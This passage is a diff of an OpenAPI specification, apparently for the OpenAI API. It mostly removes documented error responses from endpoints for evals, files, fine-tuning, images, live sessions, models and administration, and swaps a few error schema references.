- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The conversation or the item in that conversation was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The conversation update could not be finalized.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: conversations
path: delete-item
@@ -4712,37 +4173,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateEmbeddingResponse'
- '400':
- description: Invalid embedding input or request parameters.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '401':
- description: Authentication failed because the API key is missing or revoked, or the client IP is not authorized.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- text/plain:
- schema:
- type: string
- description: JSON-encoded error text containing an error object and the HTTP status.
- '403':
- description: Access to a personal API organization is blocked by the organization policy.
- content:
- text/plain:
- schema:
- type: string
- description: JSON-encoded error text containing an error object and the HTTP status.
'429':
$ref: '#/components/responses/InferenceRateLimited'
- '500':
- description: The embedding request could not be processed due to an internal error.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -4991,12 +4423,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Eval'
- '400':
- description: The evaluation input or grader configuration is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -5178,12 +4604,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Eval'
- '404':
- description: The evaluation was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -5286,18 +4706,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Eval'
- '400':
- description: The evaluation name or metadata is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The evaluation was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -5412,18 +4820,12 @@ paths:
- object
- deleted
- eval_id
- '400':
- description: The evaluation cannot be deleted while it has unfinished runs.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'404':
description: Evaluation not found.
content:
application/json:
schema:
- $ref: '#/components/schemas/ErrorResponse'
+ $ref: '#/components/schemas/Error'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -5510,18 +4912,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRunList'
- '400':
- description: The run list parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The evaluation or the run specified by `after` was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -5658,21 +5048,9 @@ paths:
content:
application/json:
schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The evaluation or a referenced resource was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
+ $ref: '#/components/schemas/Error'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The evaluation run could not be created.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: evals
examples:
@@ -5854,18 +5232,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRun'
- '400':
- description: The evaluation run does not belong to the specified evaluation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The evaluation or evaluation run was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -6279,18 +5645,12 @@ paths:
run_id:
type: string
example: evalrun_677469f564d48190807532a852da3afb
- '400':
- description: The evaluation run cannot be deleted until it is finished.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'404':
description: Run not found
content:
application/json:
schema:
- $ref: '#/components/schemas/ErrorResponse'
+ $ref: '#/components/schemas/Error'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -6390,18 +5750,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRunOutputItemList'
- '400':
- description: The output item list parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The evaluation or evaluation run was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -6536,18 +5884,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/EvalRunOutputItem'
- '400':
- description: The output item was not found, its identifier is invalid, or the run does not belong to the evaluation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The evaluation or evaluation run was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -6689,24 +6025,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListFilesResponse'
- '400':
- description: The file listing parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The file specified by the after cursor was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many file requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: files
examples:
@@ -6804,24 +6122,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OpenAIFile'
- '400':
- description: The file upload request is invalid or exceeds a file size or storage quota limit.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many file requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: The file could not be uploaded because of a server error.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: files
examples:
@@ -6896,18 +6196,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteFileResponse'
- '404':
- description: The file was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many file requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: files
examples:
@@ -6959,18 +6247,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OpenAIFile'
- '404':
- description: The file was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many file requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: files
examples:
@@ -7026,30 +6302,6 @@ paths:
application/json:
schema:
type: string
- '400':
- description: The file cannot be downloaded for its purpose or the account does not have permission to download it.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The file was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: Too many file requests. Reduce the request rate and try again later.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: The file could not be downloaded because of a server error.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: files
examples:
@@ -7096,18 +6348,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RunGraderResponse'
- '400':
- description: The grader definition or request is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
group: graders
@@ -7339,18 +6579,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ValidateGraderResponse'
- '400':
- description: The grader definition or request is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
group: graders
@@ -7434,18 +6662,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListFineTuningCheckpointPermissionResponse'
- '400':
- description: The query parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7505,24 +6721,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListFineTuningCheckpointPermissionResponse'
- '400':
- description: The request is invalid or checkpoint permissions cannot be changed for the requested projects or job state.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The checkpoint or its fine-tuning job was not found, or the checkpoint cannot be shared.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7580,24 +6778,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteFineTuningCheckpointPermissionResponse'
- '400':
- description: The checkpoint permission cannot be removed for the requested project or job state.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The checkpoint, permission, associated project, or fine-tuning job was not found, or the checkpoint cannot be shared.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -7636,18 +6816,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/FineTuningJob'
- '400':
- description: The request is invalid or the organization does not meet the requirements to create a fine-tuning job.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: A request or fine-tuning job limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -8067,18 +7235,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListPaginatedFineTuningJobsResponse'
- '400':
- description: The query parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -8154,18 +7310,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/FineTuningJob'
- '404':
- description: The fine-tuning job was not found or is not accessible.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -8249,24 +7393,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/FineTuningJob'
- '400':
- description: The fine-tuning job cannot be cancelled in its current state.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The fine-tuning job was not found or is not accessible.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -8340,24 +7466,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListFineTuningJobCheckpointsResponse'
- '400':
- description: The query parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The fine-tuning job was not found or is not accessible.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -8435,24 +7543,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListFineTuningJobEventsResponse'
- '400':
- description: The query parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The fine-tuning job was not found or is not accessible.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -8531,24 +7621,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/FineTuningJob'
- '400':
- description: The fine-tuning job cannot be paused in its current state or does not support pausing.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The fine-tuning job was not found or is not accessible, or this operation is unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -8609,24 +7681,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/FineTuningJob'
- '400':
- description: The fine-tuning job cannot be resumed in its current state or does not support resuming.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The fine-tuning job was not found or is not accessible, or this operation is unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: A request or fine-tuning job limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: fine-tuning
examples:
@@ -8686,32 +7740,8 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/ImageEditStreamEvent'
- '400':
- description: Invalid image request, including invalid DALL-E parameters or input.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The project does not have access to the requested model.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '410':
- description: The requested DALL-E image endpoint is unavailable because it has been retired.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
- '500':
- description: The image could not be generated or processed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -8887,32 +7917,8 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/ImageGenStreamEvent'
- '400':
- description: Invalid image request, including invalid DALL-E parameters or input.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The project does not have access to the requested model.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '410':
- description: The requested DALL-E image endpoint is unavailable because it has been retired.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
- '500':
- description: The image could not be generated or processed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -9049,50 +8055,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ImagesResponse'
- '400':
- description: Invalid image or request, or the request cannot be processed for this account.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The project does not have access to the requested model.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '410':
- description: The image variations endpoint is no longer available.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The image rate limit was exceeded.
- headers:
- X-RateLimit-Limit-Images:
- description: The image limit for the rate-limit window.
- schema:
- type: number
- X-RateLimit-Remaining-Images:
- description: The number of images remaining in the rate-limit window.
- schema:
- type: number
- minimum: 0
- X-RateLimit-Reset-Images:
- description: The number of seconds until the rate-limit window resets.
- schema:
- type: integer
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: The image variation could not be generated or processed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: images
examples:
@@ -9177,45 +8139,6 @@ paths:
transport:
type: webrtc
sdp:
- '400':
- description: Invalid Live session request.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- text/plain:
- schema:
- type: string
- '413':
- description: The Live session request exceeds the supported size limit.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- text/plain:
- schema:
- type: string
- '429':
- description: The session could not start because a rate or quota limit was exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: An internal error occurred. The response body is plain text.
- content:
- text/plain:
- schema:
- type: string
- '503':
- description: The session is temporarily unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- text/plain:
- schema:
- type: string
x-oaiMeta:
group: live
returns: Returns 201 Created with the session identifier in session.id and SDP answer in transport.sdp.
@@ -9249,42 +8172,6 @@ paths:
responses:
'200':
description: Session accept request accepted.
- '400':
- description: Invalid request body or headers.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The session or call was not found or is unavailable for this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '409':
- description: The session or call can no longer accept this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The session could not start because a rate or quota limit was exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: An internal error occurred. The response body is plain text.
- content:
- text/plain:
- schema:
- type: string
- '503':
- description: The session is temporarily unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: live-sessions
returns: Returns 200 OK when the control request succeeds.
@@ -9315,42 +8202,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/LiveCreateResponse'
- '400':
- description: Invalid Live session request.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: Invalid session ID.
- content:
- text/plain:
- schema:
- type: string
- '413':
- description: The Live session request exceeds the supported size limit.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The session could not start because a rate or quota limit was exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: An internal error occurred. The response body is plain text.
- content:
- text/plain:
- schema:
- type: string
- '503':
- description: The session is temporarily unavailable.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: live
returns: The new session identifier in session.id and SDP answer in transport.sdp.
@@ -9378,12 +8229,6 @@ paths:
responses:
'200':
description: Session hangup request accepted.
- '404':
- description: The session or call was not found or is unavailable for this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: live-sessions
returns: Returns 200 OK when the control request succeeds.
@@ -9410,24 +8255,6 @@ paths:
responses:
'200':
description: Session refer request accepted.
- '400':
- description: Invalid request body or headers.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The session or call was not found or is unavailable for this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: An internal error occurred. The response body is plain text.
- content:
- text/plain:
- schema:
- type: string
x-oaiMeta:
group: live-sessions
returns: Returns 200 OK when the control request succeeds.
@@ -9454,30 +8281,6 @@ paths:
responses:
'200':
description: Session reject request accepted.
- '400':
- description: Invalid request body or headers.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The session or call was not found or is unavailable for this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '409':
- description: The session or call can no longer accept this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: An internal error occurred. The response body is plain text.
- content:
- text/plain:
- schema:
- type: string
x-oaiMeta:
group: live-sessions
returns: Returns 200 OK when the control request succeeds.
@@ -9495,12 +8298,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListModelsResponse'
- '403':
- description: The API credential does not have permission to list models.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
x-oaiMeta:
group: models
examples:
@@ -9588,18 +8385,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Model'
- '403':
- description: The API credential does not have permission to retrieve models.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The model was not found or is not accessible.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: models
examples:
@@ -9665,18 +8450,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteModelResponse'
- '403':
- description: Insufficient permissions to delete the model. Model deletion requires the Owner role in the organization and a credential that permits deletion.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The model was not found, is not accessible, or cannot be deleted through this endpoint.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: models
examples:
@@ -9731,26 +8504,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateModerationResponse'
- '400':
- description: Invalid moderation input or unsupported request parameters.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: Access to the requested moderation model was denied.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
- '500':
- description: The moderation request could not be processed due to an internal error.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
x-oaiMeta:
@@ -10015,18 +8770,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ApiKeyList'
- '400':
- description: The API key listing parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -10092,24 +8835,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AdminApiKeyCreateResponse'
- '400':
- description: The API key creation request is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The created API key could not be found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -10162,18 +8887,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AdminApiKey'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The API key was not found or is not available to this organization.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -10236,18 +8949,6 @@ paths:
- id
- object
- deleted
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The API key was not found or is not available to this organization.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -10365,18 +9066,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListAuditLogsResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: No audit log was found with the specified pagination cursor.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -10489,18 +9178,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListCertificatesResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -10555,18 +9232,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Certificate'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -10618,32 +9283,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationCertificateActivationResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: A certificate was not found in this organization.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The certificate update could not be completed because of a server error.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -10709,32 +9350,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationCertificateDeactivationResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: A certificate was not found in this organization.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The certificate update could not be completed because of a server error.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -10810,24 +9427,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Certificate'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: A certificate was not found in this organization.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -10879,32 +9478,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Certificate'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: A certificate was not found in this organization.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
- '500':
- description: The certificate update could not be completed because of a server error.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -10952,24 +9527,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteCertificateResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: A certificate was not found in this organization.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -11071,18 +9628,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
- '400':
- description: The request parameters are invalid or the requested operation cannot be performed.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -11136,18 +9681,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationDataRetention'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/PermissionErrorResponse'
- '404':
- description: The organization was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11183,24 +9716,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationDataRetention'
- '400':
- description: The requested data retention setting or transition is invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '403':
- description: The caller does not have permission to perform this operation.
- content:
- application/json:
- schema:
